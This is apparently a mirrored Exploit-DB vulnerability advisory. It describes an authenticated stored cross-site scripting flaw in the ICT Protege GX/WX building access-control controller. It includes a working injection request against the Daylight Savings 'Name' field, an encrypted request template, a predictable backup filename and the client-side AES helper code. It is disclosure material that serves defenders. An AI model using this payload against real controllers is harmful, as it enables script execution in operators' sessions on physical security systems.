ICT Protege GX/WX 2.08 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 126 阅读

• 作者： LiquidWorm
  日期： 2022-03-22
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/50835/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117

  # Exploit Title: ICT Protege GX/WX 2.08 - Stored Cross-Site Scripting (XSS) # Exploit Author: LiquidWorm   Vendor: Integrated Control Technology Ltd. Product web page: https://www.ict.co Affected version: GX: Ver: 2.08.1002 K1B3 Lib: 04.00.217 Int: 2.3.235.J013 OS: 2.0.20 WX: Ver: 4.00 284 H062 App: 02.08.766 Lib: 04.00.169 Int: 02.2.208   Summary: Protege GX is an enterprise level integrated access control, intrusion detection and building automation solution with a feature set that is easy to operate, simple to integrate and effortless to extend. Protege WX is an all-in-one, web-based, cross-platform system that gives you a fully functional access control and intrusion detection solution in a fraction of the time of conventional software. With no software to install, setup is quick and simple. Connect the Controller and system components, then open a web browser to launch the intuitive wizard-driven interface which guides you through the process of configuring your system.   Desc: The application suffers from an authenticated stored XSS vulnerability. The issue is triggered when input passed to the &apos;Name&apos; parameter is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user&apos;s browser session in context of an affected site.   Tested on: Microsoft-WinCE/6.00     Vulnerability discovered by Gjoko &apos;LiquidWorm&apos; Krstic @zeroscience     Advisory ID: ZSL-2022-5699 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5699.php     08.02.2022   --     UI navigation: --------------   Scheduling > Daylight Savings > (Name field).     Decrypted POST request: -----------------------   POST /daylightsaving.htm   Command&Type=Submit&SubType=GXT_DAYLIGHTSAVINGS_TBL&DaylightSavingId=1&action=update&Name=ZSL%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&StartMonth=10&EndMonth=2&StartDay=41&EndDay=41&RecId=1     Encrypted GET request: ----------------------   http://CONTROLLER_IP/PRT_CTRL_DIN_ISAPI.dll?8F7FFABE947FEE9C78850F2BA679A3B1645F6378696B32385B56303C43604B48F8CD082303AADCFCECEA082384C860AB16159DADCD89C9A7A2A47EE1F49A7A98AC9A8572882F88FAE5409CF6E06E04DA7F7D10AA6D45525C62B2A62FD949FF00E6B6B7471010908D9A59FBA1D9F304AD8CB24E0CE317A0870AA5A5253F0FCD58CA2BC874AC002CB62422E184FB9F13161C9C00E08F258B8519578EA2793A0C28A4AF51CF65637C0C2F972CE3F49703214A63AA78B3EBE5C720DBE1E9C97E772334EC95480956E27DB6D1DF4489C5D60CCE27D69B388CA6C69A9DC72D85127F870DDA4E459CA245508EBFD66D1C83D9FA12838C1F426E538D5D75192B57DF5AF6     Additional info: ----------------   Databse backup predictable name: Db_D3037E8A_8_Feb_22.bak The D3037E8A is the serial number of the onboard reader.   Encrypt/Decrypt functions: --------------------------   From console: > localStorage.getItem("WXKey") < &apos;8EDB22D9FB767538&apos;   function encryptAES(a, c) { a = a.toString(); a = unescape(encodeURIComponent(a)); "undefined" == typeof c && (c = !0); if (0 == servertype) return a; var b = localStorage.getItem("WXKey"); if ("" == b || null == b) return a; for (var d = "", e = 0; 16 > e; e++) d += String.fromCharCode(Math.floor(75 * Math.random() + 48)); a = d + mcrypt.Encrypt(addPKCS7(a), d, b, "rijndael-128", "cbc"); return a = c ? getCookie("SESSID") + strToHex(a) : strToHex(a) }   function decryptAES(a) { if (null == a) return ""; a = a.toString(); if ("<invalid session> < Packet not Init and not encrypted. >" == a) a = 0 == servertype ? "login.php" : "login.htm", window.location = a + "?" + Math.random().toString(16).substring(2, 8).toLowerCase(); else if ("<invalid session>" == a.substr(0, 17)) a = 0 == servertype ? "login.php?logout" : "login.htm?logout", window.location = a + "?" + Math.random().toString(16).substring(2, 8).toLowerCase(); else { if (0 == servertype) return a; var c = localStorage.getItem("WXKey"); if ("" == c) return a; a = hexToStr(a); var b = a.substr(0, 16); a = a.substr(16, a.length); a = mcrypt.Decrypt(a, b, c, "rijndael-128", "cbc").replace(/\x00+$/g, ""); a = removePKCS7(a); return a = decodeURIComponent(escape(a)) }